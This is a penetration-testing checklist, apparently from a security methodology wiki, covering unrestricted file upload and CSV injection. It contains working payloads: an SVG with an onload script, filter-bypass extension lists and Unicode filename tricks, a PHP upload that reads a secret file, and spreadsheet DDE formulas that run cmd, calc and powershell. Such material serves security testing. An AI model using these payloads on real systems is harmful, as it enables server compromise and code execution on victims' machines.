Upload of Unexpected File Types
Check List
Methodology
Black Box
Login to Account
Access your account with valid credentials
Open Your Project
Navigate to the specific project you want to test
Go to the locate the avatar upload form
Attach PNG File with SVG Code and Upload a PNG file containing the SVG code
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> </svg>Click forward the request and after creating the image, open it and Check if an alert dialog appears; if not, click the triangle again to confirm
Check what are file extensions allowed in the web app. This depends on the type of backend server
.php ,.html, .jsp, .svg, .asp, .aspx ,pHp, pHP5, PhAr, hTmL, etc ,.pht ,.phps ,.phar ,.phpt ,.pgif ,.phtml ,.phtm ,.inc
Multibyte Unicode Filename Normalization Bypass
Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path
File Upload Manipulation
Try changing Content-Type
When uploading, Content Type could be: Content-Type: application/octet-stream or Content-Type: application/x-php try replacing it withimage/jpeg/,image/jpg, image.png, image/gif
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>CSV Injection
Register an account and explore all features that allow sending data that will later be visible/exported by an admin or another user
Look specifically for contact forms, feedback forms, support tickets, guestbook, comments, or any “send message to admin” functionality
Submit a normal message and confirm that the admin can view and export these messages as CSV/Excel
Craft and send the following classic CSV injection payloads in any text field that will appear in the exported file (name, message, email, subject, etc.)
=DDE("cmd";"/C calc";"!A0")A0
=2+5
=cmd|'/C calc'!A0
=cmd|'/C powershell'!A0
=4+4
=1+1+1+1+1
@SUM(1+1)*cmd|'/C calc'!A0Wait or ask the admin in real scenario the victim opens the file to export/download the messages as CSV
When the exported CSV file is opened in Microsoft Excel, LibreOffice Calc, Google Sheets (when imported or any spreadsheet software
White Box
Cheat Sheet
Last updated